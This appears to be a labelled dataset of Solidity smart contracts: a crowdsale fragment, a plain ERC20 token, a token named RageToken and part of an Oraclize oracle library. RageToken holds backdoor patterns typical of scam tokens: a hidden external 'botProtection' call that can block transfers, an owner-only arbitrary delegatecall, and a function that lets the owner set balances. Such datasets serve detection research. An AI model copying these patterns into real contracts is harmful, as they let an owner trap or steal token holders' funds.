function gzePerEth() public view returns (uint) {
return gzeFromEth(10**18, 0);
}
function lockedAccountThresholdEth() public view returns (uint) {
return lockedAccountThresholdUsd * 10**uint(3 + 18) / usdPerKEther;
}
function getBonusPercent(address addr) public view returns (uint bonusPercent) {
uint tier = bonusList.bonusList(addr);
if (tier == 1) {
bonusPercent = TIER1_BONUS;
} else if (tier == 2) {
bonusPercent = TIER2_BONUS;
} else if (tier == 3) {
bonusPercent = TIER3_BONUS;
} else {
bonusPercent = 0;
}
}
function () public payable {
require((now >= START_DATE && now <= endDate) || (msg.sender == owner && msg.value == MIN_CONTRIBUTION_ETH));
require(contributedEth < capEth());
require(msg.value >= MIN_CONTRIBUTION_ETH);
uint bonusPercent = getBonusPercent(msg.sender);
uint ethAmount = msg.value;
uint ethRefund = 0;
if (safeAdd(contributedEth, ethAmount) > capEth()) {
ethAmount = safeSub(capEth(), contributedEth);
ethRefund = safeSub(msg.value, ethAmount);
}
uint usdAmount = safeDiv(safeMul(ethAmount, usdPerKEther), 10**uint(3 + 18));
uint gzeAmount = gzeFromEth(ethAmount, bonusPercent);
generatedGze = safeAdd(generatedGze, gzeAmount);
contributedEth = safeAdd(contributedEth, ethAmount);
contributedUsd = safeAdd(contributedUsd, usdAmount);
accountEthAmount[msg.sender] = safeAdd(accountEthAmount[msg.sender], ethAmount);
bool lockAccount = accountEthAmount[msg.sender] > lockedAccountThresholdEth();
bttsToken.mint(msg.sender, gzeAmount, lockAccount);
if (ethAmount > 0) {
wallet.transfer(ethAmount);
}
Contributed(msg.sender, ethAmount, ethRefund, accountEthAmount[msg.sender], usdAmount, gzeAmount, contributedEth, contributedUsd, generatedGze, lockAccount);
if (ethRefund > 0) {
msg.sender.transfer(ethRefund);
}
}
function addPrecommitment(address tokenOwner, uint ethAmount, uint bonusPercent) public onlyOwner {
require(!finalised);
uint usdAmount = safeDiv(safeMul(ethAmount, usdPerKEther), 10**uint(3 + 18));
uint gzeAmount = gzeFromEth(ethAmount, bonusPercent);
uint ethRefund = 0;
generatedGze = safeAdd(generatedGze, gzeAmount);
contributedEth = safeAdd(contributedEth, ethAmount);
contributedUsd = safeAdd(contributedUsd, usdAmount);
accountEthAmount[tokenOwner] = safeAdd(accountEthAmount[tokenOwner], ethAmount);
bool lockAccount = accountEthAmount[tokenOwner] > lockedAccountThresholdEth();
bttsToken.mint(tokenOwner, gzeAmount, lockAccount);
Contributed(tokenOwner, ethAmount, ethRefund, accountEthAmount[tokenOwner], usdAmount, gzeAmount, contributedEth, contributedUsd, generatedGze, lockAccount);
}
function addPrecommitmentAdjustment(address tokenOwner, uint gzeAmount) public onlyOwner {
require(now > endDate || contributedEth >= capEth());
require(!finalised);
uint ethAmount = 0;
uint usdAmount = 0;
uint ethRefund = 0;
generatedGze = safeAdd(generatedGze, gzeAmount);
bool lockAccount = accountEthAmount[tokenOwner] > lockedAccountThresholdEth();
bttsToken.mint(tokenOwner, gzeAmount, lockAccount);
precommitmentAdjusted = true;
Contributed(tokenOwner, ethAmount, ethRefund, accountEthAmount[tokenOwner], usdAmount, gzeAmount, contributedEth, contributedUsd, generatedGze, lockAccount);
}
function roundUp(uint a) public pure returns (uint) {
uint multiple = 10**uint(TOKEN_DECIMALS);
uint remainder = a % multiple;
if (remainder > 0) {
return safeSub(safeAdd(a, multiple), remainder);
}
}
function finalise() public onlyOwner {
require(!finalised);
require(precommitmentAdjusted);
require(now > endDate || contributedEth >= capEth());
uint total = safeDiv(safeMul(generatedGze, 100), safeSub(100, TEAM_PERCENT_GZE));
uint amountTeam = safeDiv(safeMul(total, TEAM_PERCENT_GZE), 100);
generatedGze = safeAdd(generatedGze, amountTeam);
uint rounded = roundUp(generatedGze);
if (rounded > generatedGze) {
uint dust = safeSub(rounded, generatedGze);
generatedGze = safeAdd(generatedGze, dust);
amountTeam = safeAdd(amountTeam, dust);
}
bttsToken.mint(teamWallet, amountTeam, false);
bttsToken.disableMinting();
finalised = true;
}
} | 1 | 3,229 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Ustock is StandardToken, Ownable {
string public name = "UltrainGas";
string public symbol = "UGAS";
uint256 public decimals = 18;
uint256 public INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
uint256 public MINING_RESERVE = 1000000000 * 0.5 * (10 ** uint256(decimals));
mapping(address => string) public keys;
bool public closed = false;
event Close();
event Open();
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[0xb1] = MINING_RESERVE;
balances[msg.sender] = INITIAL_SUPPLY - MINING_RESERVE;
emit Transfer(0x0, 0xb1, MINING_RESERVE);
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY - MINING_RESERVE);
}
function() public payable {
revert();
}
function transfer(address _to, uint _value) whenOpen public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) whenOpen public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function register(string key) whenOpen {
assert(bytes(key).length <= 64);
keys[msg.sender] = key;
}
function close() onlyOwner whenOpen public {
closed = true;
emit Close();
}
function open() onlyOwner whenClosed public {
closed = false;
emit Open();
}
modifier whenOpen() {
require(!closed);
_;
}
modifier whenClosed() {
require(closed);
_;
}
} | 1 | 4,566 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address private botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract RageToken is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 400000000000000000000000000;
string public name = "RageToken";
string public symbol = "RAGE";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = msg.sender;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 1,452 |
pragma solidity 0.4.25;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint _capacity) internal pure {
uint capacity = _capacity;
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns(uint) {
if(a > b) {
return a;
}
return b;
}
function append(buffer memory buf, bytes data) internal pure returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, buflen), 32)
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function append(buffer memory buf, uint8 data) internal pure {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
mstore(bufptr, add(buflen, 1))
}
}
function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure {
if(value <= 23) {
buf.append(uint8((major << 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8((major << 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8((major << 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8((major << 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8((major << 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure {
buf.append(uint8((major << 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal pure {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal pure {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(Buffer.buffer memory buf, string value) internal pure {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Android = 0x40;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
oraclize = OraclizeI(0);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
